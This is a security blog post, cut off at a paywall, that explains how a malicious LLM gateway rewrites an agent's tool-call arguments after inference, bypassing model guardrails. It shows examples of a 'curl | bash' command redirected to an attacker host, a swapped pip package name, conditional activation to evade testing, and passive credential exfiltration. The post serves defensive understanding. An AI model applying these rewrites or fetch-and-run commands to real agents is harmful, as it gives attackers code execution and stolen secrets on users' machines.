ToxSec - AI and Cybersecurity

ToxSec - AI and Cybersecurity

LLM Router Attacks: No Signature, No Detection, No Reference

How a malicious AI gateway swaps a tool call’s arguments after inference finishes, bypassing guardrails by construction instead of by persuasion.

ToxSec's avatar
ToxSec
Jul 30, 2026
∙ Paid
toxsec.com - LLM router attack, tool call rewriting, AI gateway security, response-side payload injection

TL;DR: An LLM router sits between the agent and the provider with full plaintext access. It can rewrite a tool call after the model produced a correctly aligned response. No provider binds its output to what the client receives, so guardrails run perfectly and the agent still executes the attacker’s command.

The Rewrite Lands After Inference Finishes

Every AI gateway terminates TLS on the client side and then opens a fresh connection upstream. That’s simply the design of these products. But it also means the proxy holds the plain text of each response before the client sees it and can rewrite the response mid-flight.

The position of the gateway is key here. The client voluntarily configures the URL as its API endpoint. The attack doesn’t include a TLS downgrade or a certificate forgery or any sort of a network foothold at all.

Once an agent points at the endpoint, the service itself can read tool call arguments, API keys, system prompts, and the model outputs. Typically, this can also include the ability to normalize, delay, or rewrite the returned tool call before the client executes.

This is why we have a response-side payload injection attack. The provider returns a response containing the tool calls, and the router replaces selected fields in the argument JSON while preserving the tool name and the schema.

// upstream, from the provider
{ "name": "Bash", "arguments": { "command": "curl -sSL https://get.example.com/cli.sh | bash" } }

// downstream, delivered to the client
{ "name": "Bash", "arguments": { "command": "curl -sSL https://attacker****.sh | bash" } }

Same tool, same schema, same shape, different host. That alone is enough for an attacker to get arbitrary remote code execution on a client machine. Any agent that auto executes through unverified routing is exposed to this attack.

Importantly, the rewrite lands after inference finishes, so the model produces a safe aligned answer, and the proxy is able to change it. That means alignment, guardrails, prompt sanitization can all run correctly, but it’s too early for it to matter.

request  ->  router (plaintext)  ->  provider
                                       |
                                   inference
                                   alignment OK
                                       |
response <-  router (REWRITE)  <-------+
             ^
             everything upstream of here already passed

Want to add another problem?

This happens outside of the reasoning loop.

Prompt injection operates on the back end of the model, and success is bound to the model’s safety alignment. You have to persuade the model to emit something harmful.

With relay tampering, you don’t have to persuade anything. The adversary forwards a totally benign query, lets the model produce its correctly aligned response, and then rewrites that response right before the agent acts on it. Effectively, we have an alignment that is bypassed by construction and not by persuasion.

This is quite clever because model-side defenses are aimed at the wrong stage. Input classifiers, Llama Guard, NeMo Guardrails, instruction hierarchy training. All of these address instruction-bound failures where the untrusted text influences the model before an action is selected. None of them provide end-to-end integrity on the response path.

To draw the distinction between this and indirect prompt injection is also important here. Indirect prompt injection poisons the actual documents that the model receives, and the model produces bad outputs on its own. The payload rides through all of the security controls discussed above, so it’s easier to catch.

Proxy layer rewriting is logically equivalent to an indirect prompt injection, but at the infrastructure level. Attackers are able to bypass application layer prompt sanitization entirely because the injection never actually passes through the prompt. Nothing in the input pipeline is positioned to see it.

Nobody Signs the Response, So Nobody Can Check It

The root cause here is worth stating plainly: no provider enforces cryptographic integrity between the client and the upstream model.

OpenAI returns tool calls with JSON-encoded arguments and Anthropic returns tool use blocks. Gemini exposes a similar structured interface. In every format, it’s essentially just plain JSON, nothing binding the response to what the model actually produced.

{
  "tool_calls": [ { "name": "Bash", "arguments": { "command": "..." } } ]
  // no signature
  // no upstream digest
  // no provider key ID
}

An intermediary that terminates TLS on both sides can read, modify, or fabricate any tool call payload without detection. This is because there is no reference to compare it against. The client never sees the upstream original.

So that leaves us with a pretty rough detection problem, and two variants make it worse. Dependency targeting swaps the package name inside an install command rather than the domain, which slips past domain-based policy gates because the rewritten command still points at a legitimate registry. It just ends up installing something else.

# domain allowlist passes, registry is legitimate
pip install requests
pip install ****quests    # rewritten in flight

Conditional delivery gates the rewrite on session features, so non-matching probes see clean behavior. An attacker might wait fifty calls prior to activating, or only activate when it detects the system is in YOLO mode. You can test the router many times and it’s gonna show you the intended behavior.

We have routers which compose. For example, we have a developer that buys API access from a reseller who aggregates keys from a second-tier aggregator who routes through OpenRouter, which dispatches to the model host.

client -> reseller -> aggregator -> OpenRouter -> provider
          ^
          the only hop the client actually configured

That leaves us with four hops, each terminating and re-originating a TLS connection. The client configures only the first hop, and every hop after that is essentially invisible to it. A single malicious router at any layer can taint the entire path, and the downstream honest routers cannot detect or undo the modification because they lack reference to the original upstream response.

The taint is cumulative since every hop in the chain sees plain text.

This is also dangerous because attackers can further obfuscate themselves by making no modification at all and simply exfiltrating secrets passively. Since traffic is unmodified, it’s almost impossible to detect this kind of attack. The same static credentials sitting in agent configs transit these hops in the clear on every single call.

Up next: steps you can take right now and a field-ready security prompt. Thanks for rolling with ToxSec. Let’s get operational.

User's avatar

Continue reading this post for free, courtesy of ToxSec.

Or purchase a paid subscription.
© 2026 Christopher Ijams · Privacy ∙ Terms ∙ Collection notice
Start your SubstackGet the app
Substack is the home for great culture